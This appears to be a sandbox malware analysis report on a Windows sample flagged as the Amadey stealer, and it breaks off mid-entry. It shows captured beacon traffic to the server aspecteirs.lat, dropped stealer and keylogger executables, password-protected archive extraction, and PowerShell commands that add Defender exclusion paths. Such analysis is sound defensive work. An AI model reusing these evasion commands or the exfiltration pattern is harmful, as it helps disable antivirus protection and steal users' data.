kt1m1Ls710FEZWhMEAMPwqksukgBiC1zr8deKShnvoryuZY0X8+2x1VFCE+l8wvDqY0MTQQdyCM6MhhYrBIqzxfIRjU/y6Lz8UGMfoTTfaVO2FloIAnMcjohbzvb9E67wymCQdrb1ibQlenMcOOKRVhMuJw07M5S/jNsKKkDfZsTuXNRur8mMDMD+EsA52pDKYxdGHB8yIfL9jkM/WKqygco9jHfylfmNGDISmDjfneNiNkpUVy+4SyjbCnZdq8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49904	104.21.66.85	443	1464	C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 05:10:06 UTC	270	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=0H1DHIFZ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18106 Host: aspecteirs.lat
2024-12-19 05:10:06 UTC	15331	OUT	Data Raw: 2d 2d 30 48 31 44 48 49 46 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 41 31 43 34 44 31 32 30 38 30 45 46 36 37 42 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 30 48 31 44 48 49 46 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 30 48 31 44 48 49 46 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 43 56 6d 72 30 74 2d 2d 69 6e 73 74 61 6c 6c 73 0d 0a 2d 2d 30 48 31 44 48 49 46 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f Data Ascii: --0H1DHIFZContent-Disposition: form-data; name="hwid"1A1C4D12080EF67BAC8923850305D13E--0H1DHIFZContent-Disposition: form-data; name="pid"2--0H1DHIFZContent-Disposition: form-data; name="lid"CVmr0t--installs--0H1DHIFZContent-Dispo
2024-12-19 05:10:06 UTC	2775	OUT	Data Raw: b7 ad 66 f0 cc 99 a8 33 f7 13 05 cf ec 85 7a 3b 85 8d 54 32 2f 1f e5 1b c1 33 7b 37 a5 bf 9f 8e 3a f1 6e 9a e0 79 69 60 c1 4c a6 f2 f7 de 4b 1f 36 af 1d f9 d7 e0 58 6d 5b 0b fd 9c 0a b5 9b 60 cc b0 d7 ab 1f 3b d0 52 0a 9f fd 54 22 95 3f 7a 94 ff 75 ab 9f a1 e3 6f 93 83 99 38 43 4e 2f 95 2f 6d 6e ac ae d3 03 1e ad ac 6f 7a a3 8a 81 36 d9 bf 1f 83 71 fd 1a ed c5 4d d3 3e 9b d8 ac 97 0c bd 15 36 2b 97 37 bb ef 2e 57 0f bc 3e 57 2a 0f 97 2f ad 6d 4a a7 02 2f 2b 7f 42 10 78 3e ba 45 a8 b5 6d 75 bf 83 75 53 b3 09 3b 9c 3e 27 56 d3 d4 ab d6 33 5e 4f 4d 1f 4e cd b2 89 b4 bc b1 b1 56 29 af ef 1e fa 70 79 ed 62 65 cf 7b d9 de 73 45 81 36 af a9 da 16 51 bc 21 8f 77 45 11 8f 43 d4 61 11 d5 14 88 8d cc 54 77 94 6d 93 be 93 15 d7 52 9c ab a6 b6 5f c9 35 8b 56 2d 7b 91 Data Ascii: f3z;T2/3{7:nyi`LK6Xm[`;RT"?zuo8CN//mnoz6qM>6+7.W>W*/mJ/+Bx>EmuuS;>'V3^OMNV)pybe{sE6Q!wECaTwmR_5V-{
2024-12-19 05:10:07 UTC	1134	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 05:10:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=mu5lbg38vpkouruqkpt8sl8ism; expires=Sun, 13 Apr 2025 22:56:45 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5ENb1CC8tOqV4KH%2B0zQ5xIKh2RjhQ0Ttj%2BI1cmua5RoTrn%2BeoUxCMuZcNpfqMmZwclIrnhVQd8spU4xtcEC%2BGRXnL%2BJxqHKSCJIA0Y2MicPxKydKWzz3K5QufrUJHCF18g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f44e262eb9241cd-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1710&min_rtt=1701&rtt_var=657&sent=17&recv=23&lost=0&retrans=0&sent_bytes=2831&recv_bytes=19056&delivery_rate=1641371&cwnd=227&unsent_bytes=0&cid=5749e46b2f67cd3c&ts=1178&x=0"
2024-12-19 05:10:07 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-19 05:10:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49915	104.21.66.85	443	1464	C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 05:10:09 UTC	271	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=HXWSW5Y24I User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8739 Host: aspecteirs.lat
2024-12-19 05:10:09 UTC	8739	OUT	Data Raw: 2d 2d 48 58 57 53 57 35 59 32 34 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 41 31 43 34 44 31 32 30 38 30 45 46 36 37 42 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 48 58 57 53 57 35 59 32 34 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 48 58 57 53 57 35 59 32 34 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 43 56 6d 72 30 74 2d 2d 69 6e 73 74 61 6c 6c 73 0d 0a 2d 2d 48 58 57 53 57 35 59 32 34 49 0d 0a 43 6f 6e 74 65 Data Ascii: --HXWSW5Y24IContent-Disposition: form-data; name="hwid"1A1C4D12080EF67BAC8923850305D13E--HXWSW5Y24IContent-Disposition: form-data; name="pid"2--HXWSW5Y24IContent-Disposition: form-data; name="lid"CVmr0t--installs--HXWSW5Y24IConte
2024-12-19 05:10:10 UTC	1137	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 05:10:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=a6roq83rimi8d22pkbvcvct3e9; expires=Sun, 13 Apr 2025 22:56:48 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gb7BI2%2FYVxVV0lr%2B7PC9bNSlFBxGBcTBX%2FST6qATFXp9CNsGCVQ%2B0Arrx4vM4XrnQ0itZPo5pdjbXmG7E0GEbA1rw%2BER9nWDcqimejIFz7sJfPl%2Bp9ed9ob%2FXfH%2FAsUHUQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f44e274efab0fa1-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1567&min_rtt=1565&rtt_var=592&sent=7&recv=15&lost=0&retrans=0&sent_bytes=2832&recv_bytes=9668&delivery_rate=1842271&cwnd=252&unsent_bytes=0&cid=12b65a48fc51278d&ts=849&x=0"
2024-12-19 05:10:10 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-19 05:10:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	00:08:02
Start date:	19/12/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x7e0000
File size:	2'976'768 bytes
MD5 hash:	61CB850896F4B6AAC18C72E82EB9AC90
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000002.1753888094.00000000007E1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000003.1713621110.0000000004D20000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	00:08:05
Start date:	19/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xb70000
File size:	2'976'768 bytes
MD5 hash:	61CB850896F4B6AAC18C72E82EB9AC90
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000001.00000003.1739503625.0000000004B40000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000001.00000002.1780180003.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 47%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	00:08:05
Start date:	19/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0xb70000
File size:	2'976'768 bytes
MD5 hash:	61CB850896F4B6AAC18C72E82EB9AC90
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000002.1782523187.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000003.1741888657.0000000004AD0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	00:09:00
Start date:	19/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xb70000
File size:	2'976'768 bytes
MD5 hash:	61CB850896F4B6AAC18C72E82EB9AC90
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000002.2973332284.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000003.2282737175.00000000046D0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	00:09:13
Start date:	19/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe"
Imagebase:	0x8f0000
File size:	1'114'112 bytes
MD5 hash:	EF08A45833A7D881C90DED1952F96CB4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	00:09:20
Start date:	19/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe"
Imagebase:	0xf40000
File size:	1'114'112 bytes
MD5 hash:	EF08A45833A7D881C90DED1952F96CB4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000009.00000002.2486574208.0000000003543000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000009.00000002.2499361350.0000000005A90000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000009.00000002.2486574208.0000000003321000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000009.00000002.2494620815.0000000004321000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	00:09:22
Start date:	19/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1017321001\kz8ZdyP.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1017321001\kz8ZdyP.exe"
Imagebase:	0x1d0000
File size:	1'102'336 bytes
MD5 hash:	68C0E4EEFD4C6A76CFF542EF57A49CA2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	00:09:28
Start date:	19/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1017321001\kz8ZdyP.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\1017321001\kz8ZdyP.exe"
Imagebase:	0x3b0000
File size:	1'102'336 bytes
MD5 hash:	68C0E4EEFD4C6A76CFF542EF57A49CA2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	00:09:28
Start date:	19/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1017321001\kz8ZdyP.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1017321001\kz8ZdyP.exe"
Imagebase:	0x720000
File size:	1'102'336 bytes
MD5 hash:	68C0E4EEFD4C6A76CFF542EF57A49CA2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 0000000D.00000002.2579288387.0000000003AB1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 0000000D.00000002.2583286972.0000000005260000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 0000000D.00000002.2573081196.0000000002ABA000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	00:09:35
Start date:	19/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe"
Imagebase:	0x8b0000
File size:	21'504 bytes
MD5 hash:	14BECDF1E2402E9AA6C2BE0E6167041E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 11%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	00:09:35
Start date:	19/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	00:09:37
Start date:	19/12/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"powershell.exe" Add-MpPreference -ExclusionPath "C:\unrlkpjy"
Imagebase:	0xd90000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	00:09:37
Start date:	19/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	00:09:43
Start date:	19/12/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"powershell.exe" Add-MpPreference -ExclusionPath "C:\ProgramData"
Imagebase:	0xd90000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	00:09:43
Start date:	19/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	00:09:44
Start date:	19/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1017352001\ac68c6b737.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1017352001\ac68c6b737.exe"
Imagebase:	0x110000
File size:	1'978'368 bytes
MD5 hash:	C29EB2D3C39A0A808F1910E0E222AC94
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000015.00000003.2737718865.0000000000BF0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000015.00000003.2740383178.0000000004FC0000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000015.00000003.2741544851.0000000004AC0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000015.00000003.2740579331.00000000051E0000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	00:09:46
Start date:	19/12/2024
Path:	C:\Windows\SysWOW64\svchost.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\svchost.exe"
Imagebase:	0x940000
File size:	46'504 bytes
MD5 hash:	1ED18311E3DA35942DB37D15FA40CC5B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000016.00000002.2756608289.0000000002C00000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000016.00000003.2745831377.0000000004D00000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000016.00000003.2741442978.0000000000880000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000016.00000003.2745248461.0000000004AE0000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	00:09:47
Start date:	19/12/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 5012 -s 684
Imagebase:	0xe90000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	00:09:56
Start date:	19/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1017353001\54326d271c.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1017353001\54326d271c.exe"
Imagebase:	0x400000
File size:	4'438'776 bytes
MD5 hash:	3A425626CBD40345F5B8DDDD6B2B9EFA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 88%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	27
Start time:	00:09:57
Start date:	19/12/2024
Path:	C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe
Wow64 process (32bit):	true
Commandline:	"C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe"
Imagebase:	0xe0000
File size:	1'275'904 bytes
MD5 hash:	577CD52217DA6D7163CEA46BB01C107F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001B.00000002.2975513113.0000000000C1C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001B.00000002.2975513113.0000000000C6D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 61%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	28
Start time:	00:10:00
Start date:	19/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"
Imagebase:	0x7ff663c30000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	29
Start time:	00:10:00
Start date:	19/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	30
Start time:	00:10:01
Start date:	19/12/2024
Path:	C:\Windows\System32\mode.com
Wow64 process (32bit):	false
Commandline:	mode 65,10
Imagebase:	0x7ff61ca50000
File size:	33'280 bytes
MD5 hash:	BEA7464830980BF7C0490307DB4FC875
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	00:10:01
Start date:	19/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e file.zip -p24291711423417250691697322505 -oextracted
Imagebase:	0x620000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	00:10:01
Start date:	19/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_7.zip -oextracted
Imagebase:	0x620000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	00:10:01
Start date:	19/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_6.zip -oextracted
Imagebase:	0x620000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	00:10:02
Start date:	19/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_5.zip -oextracted
Imagebase:	0x620000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	00:10:02
Start date:	19/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_4.zip -oextracted
Imagebase:	0x620000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	00:10:02
Start date:	19/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_3.zip -oextracted
Imagebase:	0x620000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	00:10:03
Start date:	19/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1017354001\641d24797a.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1017354001\641d24797a.exe"
Imagebase:	0x20000
File size:	765'568 bytes
MD5 hash:	8A9CB17C0224A01BD34B46495983C50A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 71%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	00:10:03
Start date:	19/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_2.zip -oextracted
Imagebase:	0x620000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	00:10:03
Start date:	19/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
